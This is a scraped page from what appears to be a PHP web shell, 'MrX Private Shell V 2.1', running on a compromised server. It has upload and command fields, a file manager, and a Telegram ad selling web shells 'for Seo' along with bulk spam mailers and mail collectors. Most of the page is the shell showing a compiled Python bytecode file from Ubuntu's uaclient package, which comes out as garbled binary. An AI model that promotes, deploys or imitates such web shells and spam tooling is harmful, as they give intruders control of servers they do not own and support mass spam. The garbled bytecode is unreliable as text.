__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵg��
� �SSKrSSKJrJr SSKJrJrJrJrJ	r	 SSK
JrJrJ
r
 SSKJr SSKJr SSKJr SSKJr SS	KJr SS
KJrJrJrJrJr \R<"\	R>"\ 55r!"SS\5r""S
S\\5r#S\S\\$4Sjr%S$S\"S\\S\#4Sjjr&S$S\"S\S\\S\#4Sjjr'\"SS\'\"SS9r(SSS\#\
RRS4\
RTS4\
RVS4\
RXS4\
RZS 4/S!S"S#.r.g)%�N)�List�Optional)�entitlements�lock�messages�status�util)�AbstractProgress�ProgressWrapper�
exceptions)�APIEndpoint)�AdditionalInfo)�_enabled_services)�_is_attached)�UAConfig)�
BoolDataValue�
DataObject�Field�StringDataValue�	data_listc�P�\rSrSr\"S\SS9\"S\SSS9/rSS.S\S\	4S	jjr
S
rg)�DisableOptions��servicezPro service to disable��doc�purgeFzqAlso remove all packages that were installed from this service. Only supported by some services. (default: false))rc��XlX lg�N)rr)�selfrrs   �H/usr/lib/python3/dist-packages/uaclient/api/u/pro/services/disable/v1.py�__init__�DisableOptions.__init__$s�����
�)rrN)�__name__�
__module__�__qualname__�__firstlineno__rrr�fields�str�boolr"�__static_attributes__�r$r!rrsJ��
�i��.F�G�
����N�	
��F�7<��3��t��r$rc�F�\rSrSr\"S\"\5SS9/rS\\	4Sjr
Srg)�
DisableResult�)�disabledzList of services disabledrc��Xlgr�r1)r r1s  r!r"�DisableResult.__init__2s�� �
r$r3N)r%r&r'r(rrrr)rr*r"r,r-r$r!r/r/)s/��
���o�&�+�	
��F�!�D��I�!r$r/�cfg�returnc�j�[U5RVs/sHoRPM sn$s snfr)r�enabled_services�name)r5�ss  r!�_enabled_services_namesr;6s)��-�c�2�C�C�D�C�q�F�F�C�D�D��Ds�0�options�progress_objectc�(�[U[5US9$)N)r=)�_disabler)r<r=s  r!�disabler@:s���G�X�Z��I�Ir$c��[U5n[R"5(d[R"5e[U5R(d[R"5e[R"UURURS9n[U5nURU;a	[/S9$URnUbUnUR5UlSnSn["R$"SS9 UR'U5upxSSS5 U(dLUbUR,b
UR,n
O[.R0n
[R2"URU
S9e[U5n[4R4"US9 UR75 [[9[;[=U5R?[=U5555S9$!,(df   N�=f![(an	["R*"5 U	eSn	A	ff=f)	zh
Disable a Pro service. This will automatically disable any services that
depend on the target service.
)r5r9rr3NFzu.pro.services.disable.v1)�lock_holder)r�reason)r5) rr	�we_are_currently_rootr�NonRootUserErrorr�is_attached�UnattachedErrorr�entitlement_factoryrrr;r/�enabled_variant�calculate_total_disable_steps�total_stepsr�	RetryLockr@�	Exception�clear_lock_file_if_present�messager�GENERIC_UNKNOWN_ISSUE�EntitlementNotDisabledErrorr�finish�sorted�list�set�
difference)r<r5r=�progress�entitlement�enabled_services_before�variant�success�fail_reason�erC�enabled_services_afters            r!r?r?@s�����/�H��%�%�'�'��)�)�+�+����(�(��(�(�*�*��2�2��
�_�_��m�m��K�6�c�:�����5�5���
�	
��)�)�G�����&�D�D�F�H���G��K��
�^�^�3�
�$/�#6�#6�x�#@� �G�
���"�{�':�':�'F� �(�(�F��3�3�F��4�4��O�O�F�
�	
�5�S�9��
�M�M�c���O�O������+�,�7�7��.�/��
�
���-
�
�����'�'�)�����s6�#G"�7G�G"�
G�G"�G"�"
H�,H�H�v1�DisableServiceT)�versionr9�fn�options_cls�supports_progress�32z|
from uaclient.api.u.pro.services.disable.v1 import disable, DisableOptions
result = disable(DisableOptions(service="usg"))
zWhen called as non-root userzCWhen called on a machine that is not attached to a Pro subscriptionz9When the service argument is not a valid Pro service namez8When another Ubuntu Pro related operation is in progressz!When the service fails to disablez4pro api u.pro.services.disable.v1 --args service=usgz+
{
    "disabled": [
        "usg"
    ]
}
)�
introduced_in�requires_network�example_python�result_classr�example_cli�example_jsonr)/�logging�typingrr�uaclientrrrrr	�uaclient.apir
rr�uaclient.api.apir
�uaclient.api.data_typesr�-uaclient.api.u.pro.status.enabled_services.v1r�(uaclient.api.u.pro.status.is_attached.v1r�uaclient.configr�uaclient.data_typesrrrrr�	getLogger�replace_top_level_logger_namer%�LOGrr/r*r;r@r?�endpointrErG�EntitlementNotFoundError�
LockHeldErrorrQ�_docr-r$r!�<module>r}s����!�?�?�F�F�(�2�K�A�$�������:�:�8�D�E���Z��&
!�J��
!�E��E�d�3�i�E�
LP�J�
�J�.6�7G�.H�J��J�37�I�
�I�	�I��.�/�I��	I�X��	���������"�	�	$�	$�&D�E��&�&� �	
�
�/�/�G�	
�

�$�$�F�	
�

�2�2�/�	
�#�,J��?&�r$

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 175 B 0644
v1.cpython-313.pyc File 6.29 KB 0644
Filemanager